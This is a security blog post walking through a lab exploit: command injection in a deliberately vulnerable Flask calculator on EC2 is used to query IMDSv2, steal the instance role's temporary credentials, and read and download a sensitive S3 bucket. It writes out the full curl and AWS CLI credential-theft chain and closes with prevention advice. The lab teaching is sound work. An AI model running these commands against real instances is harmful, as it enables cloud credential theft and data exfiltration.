RCE via EC2 IMDSv2 and Full Access to Sensitive S3
Hey folks! Welcome back to my blog!
RCE via EC2 IMDSv2 and Full Access to Sensitive S3
Hey folks! Welcome back to my blog!

Goal:
Today, we’re exploiting a Remote Code Execution vulnerability and grabbing some hidden gems from an S3 bucket using IMDSv2 metadata. Let’s dive right in! 🔥
Before we get our hands dirty, let’s break down a couple of terms to make sure we’re all on the same page.
What is RCE (Remote Code Execution)?
RCE is the golden ticket for hackers — it’s a vulnerability that allows an attacker to run arbitrary code on a remote system. 🎯 When an app doesn’t validate user input properly, a malicious user can make it run anything they want (hello shell commands!). Bad input, bad news.
Next, let’s talk about something equally important Instance Metadata Service (IMDS). Hold tight, it’s about to get interesting!
What Is IMDS (Instance Metadata Service)?
IMDS is like AWS’s self-checkout system for EC2 instances. It provides metadata about an EC2 instance, such as its IAM roles, instance ID, and other critical information. EC2 instances use IMDS to interact securely with AWS services, like accessing temporary IAM credentials.
IMDS Versions: The Lowdown
- IMDSv1: Can be accessed directly via HTTP, which makes it easy for attackers to snatch metadata (bad news for security!). 🚨
- IMDSv2: Requires session tokens, adding a layer of security. You can’t access metadata without proving who you are first. 🛡️
For this blog, we’re focusing on exploiting IMDSv2 — and we’re going to have some fun! 😈
Step-by-Step Exploit Approach
Here’s your cheat sheet for the mission.
- Launch an EC2 instance and make sure IMDSv2 is enabled.
- Deploy an RCE-vulnerable application on that instance.
- Attach an IAM Role to the EC2 instance with permissions to access S3.
- Host the application on a publicly accessible port.
- Create an S3 bucket and upload sensitive files (because what’s an exploit without a treasure chest? 🏴☠️).
- Interact with the vulnerable app and request IMDSv2 metadata.
- Use the stolen credentials to access the sensitive S3 bucket.
- Capture the flag(sensitiveinfo)! 🎉
(Note: We won’t be diving into every single step, as that would make the blog unnecessarily lengthy. Instead, I’ve set up a prebuilt AWS environment to keep the focus on the core concept and execution.)
Code Breakdown & The Hidden Danger💻
I’ve set up a Python Flask app that’s intentionally vulnerable to RCE. Here’s the setup — keep your eyes peeled for the crucial exploit points. 🧐
Python Flask Code:

We’re using a simple Python Flask app that lets us evaluate math expressions. But here’s the catch: the app evaluates anything you type, including shell commands, because of subprocess.check_output().
Html Code:

To make the understanding very clear, I’ve designed the front-end HTML code, which visually shows the issue. Here’s a look:

When the user enters an expression in the input box and clicks “Calculate”, the JavaScript function calculate() is triggered. This function sends the user input as a GET request to the backend with the expression parameter, like so: GET /calculate?expression=5+3. If the user enters a simple arithmetic expression (e.g., 5+3), the backend evaluates it using the eval() function. However, if the input is not a valid arithmetic expression, the backend treats it as a shell command and executes it using subprocess. 😱
Testing the Vulnerability
Now, when we run this app, we get a basic calculator. Try entering 5 + 3, and it’ll give us 8 as expected.

But here’s where the fun starts! If we try entering non-math expressions (like whoami), bam, the server will execute that as a shell command.

Exploiting the Vulnerability — Let’s Get to It! 😎
Alright, time to roll up our sleeves and dive into the fun stuff! 🎉
As part of our initial recon, we discovered that the IP belongs to Amazon, and the hostname points to EC2. This confirms that the web app is hosted using AWS EC2. 🚀 Now, let’s zoom in on EC2’s IMDS (Instance Metadata Service) to grab some juicy info, like roles and credentials. 🍒

Step 1: Check Which IMDS Version We’re Dealing With 🕵️♂️
First things first: we need to check which version of IMDS is running. I quickly typed in the initial command into the user input field:
curl <http://169.254.169.254/latest/meta-data/>

But… no response. 😕 This indicates that IMDS v1 isn’t enabled here. No worries, let’s try something else!
Step 2: Switch to IMDSv2 — Time for Tokens! 🔑 Since IMDS v1 didn’t work, I suspect we’re dealing with IMDSv2. This version comes with a bit more security, so it’s not as straightforward. We need to first grab a token. 💡
Here’s the magic command to get it:
curl -X PUT "<http://169.254.169.254/latest/api/token>" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"

And guess what? 🎉 We successfully obtained the token! Woohoo! Just so you know, this token works like a temporary access pass, and it expires after a certain period. So, we’ll need to grab a new one once it expires.
Step 3: Test the Token — Let’s Get That Instance ID! 💥 Now that we’ve got our token, let’s see if it works as expected. The next step is to grab the instance ID using the token. Here’s the command:
curl -H "X-aws-ec2-metadata-token:<your-token>" <http://169.254.169.254/latest/meta-data/instance-id>

✅ The token worked, and we got the instance ID.
Step 4: Let’s Look for IAM Roles — Something’s Fishy! 🐟
Now, let’s search for some IAM roles attached to this instance. Could be something interesting there… 👀
curl -H "X-aws-ec2-metadata-token:<your-token>" <http://169.254.169.254/latest/meta-data/iam/security-credentials/>

We found the role “RCERole”. Let’s see what secrets it holds! 🧐
Step 5: Extract Temporary Security Credentials — Let’s Get Secure! 🔒 Let’s extract the temporary security credentials associated with this role using the command below:
curl -H "X-aws-ec2-metadata-token:<your-token>" <http://169.254.169.254/latest/meta-data/iam/security-credentials/your-role>

Boom! 💥 We’ve successfully grabbed the credentials. Now, let’s put them to work! ⚙️
Step 6: Set Up AWS CLI Profile — Time to Explore! 🔧
Now, we’ll set up an AWS CLI profile using the credentials we just extracted: The credentials are successfully stored under /.aws/credentials. 🎉

Step 7: Verify the Credentials — Are They Valid? ✅
Let’s verify if the credentials are valid by calling the traditional GetCallerIdentity API:
aws sts get-caller-identity --profile EC2

And guess what? ✅ Credentials are valid, and everything looks good!
Step 8: Check Permissions — What Can We Do with These Credentials? 🔑
We’ve successfully extracted the temporary security credentials (yay! 🎉), and now it’s time to see what permissions they grant us. What are we allowed to do with these creds? 🤔
To figure that out, we’ll need to use some basic AWS enumeration methods/tools to pull up the permissions associated with the credentials. This is where we usually dive into AWS enumeration tools, but for the sake of this blog, we’re going to keep it simple and not go too deep into that. 🏊♂️
For now, let’s assume that we’ve already figured out that these credentials give us access to a super sensitive S3 bucket called “sensitiveinstancerepo”.
Step 9: Access Sensitive Bucket — Let’s See What We Got! 📂 Now that we’ve got valid credentials, let’s access the sensitive S3 bucket named “sensitiveinstancerepo” and see what’s inside:
aws s3 ls s3://sensitiveinstancerepo --recursive --profile EC2

Step 10: Download and Inspect Files — What’s in the Creds.txt? 🧐
Let’s dig deeper into the Creds.txt file inside the bucket. Time to download it:
aws s3 cp s3://sensitiveinstancerepo/Creds.txt . --profile EC2 && cat ./Creds.txt

Hmm… Looks like the file contains an encoded string. After a little research, I found that this string is base64 encoded. Let’s decode it! 🔍
Step 11: Decode and Discover — We’ve Hit the Jackpot! 🏆

I decoded the string, and guess what I found? The Org Root Credentials sitting in the sensitiveinstancerepo bucket! 😱 With this, we can further escalate our access. 🚀
Wrapping It Up — Happy Hacking! 🎉
Well, there you have it — we exploited the vulnerability, found the creds, and escalated our access. Now it’s time to get our hands dirty with some elevated privileges! 🕹️
How to Prevent This RCE Vulnerability in our Code? 🚫
If you want to prevent RCE vulnerabilities in our code (and you do, trust me 😜), here’s what we can do:
- Avoid using functions like
eval()for user input. Only perform operations that are strictly necessary (like simple arithmetic calculations). 🧮 - Use regular expressions or other input validation techniques to ensure the input is safe and only contains valid mathematical expressions. Only allow digits, operators (+, -, *, /), parentheses, and spaces. 👍
- Don’t use subprocess or similar methods that can execute system commands. Keep it simple and stick to arithmetic calculations. 🔒
- If you really need to use
eval()for evaluating math expressions, restrict access to dangerous built-ins by using a safe evaluation environment. Disable access to built-in functions likeopen(),os.system(), etc. 🚫
Note: 🔥
Hey, thanks for sticking around till the end! 🚀 I know I didn’t dive into the lab part here, but if you’re eager to try this out in real-time and see how it actually works, I’d totally recommend checking out the lab offered by the Cyber team. 🧑💻💡 Just a heads-up you might not find the exact same steps as in my blog, but trust me, the logic behind it is exactly the same! 🛠️✨
Go ahead, get your hands dirty, and happy hacking! 😈🔓
💬 Got Thoughts? Let’s Connect! 🚀
Hey, I’d love to hear your thoughts on this! If you have any questions, insights, or just want to geek out over security, feel free to DM me. 💡 If you spot something that needs a tweak, let me know — I’m always up for learning and improving! 🔥
메타데이터
- post_id
- 5d7ab416aa0e
- slug
- rce-via-ec2-imdsv2-and-full-access-to-sensitive-s3-5d7ab416aa0e
- url
- https://medium.com/@revanthselvam/rce-via-ec2-imdsv2-and-full-access-to-sensitive-s3-5d7ab416aa0e
- canonical_url
- https://medium.com/@revanthselvam/rce-via-ec2-imdsv2-and-full-access-to-sensitive-s3-5d7ab416aa0e
- author_url
- https://medium.com/@revanthselvam
- status
- ok
- fetched_at
- 2026-07-20 19:37:35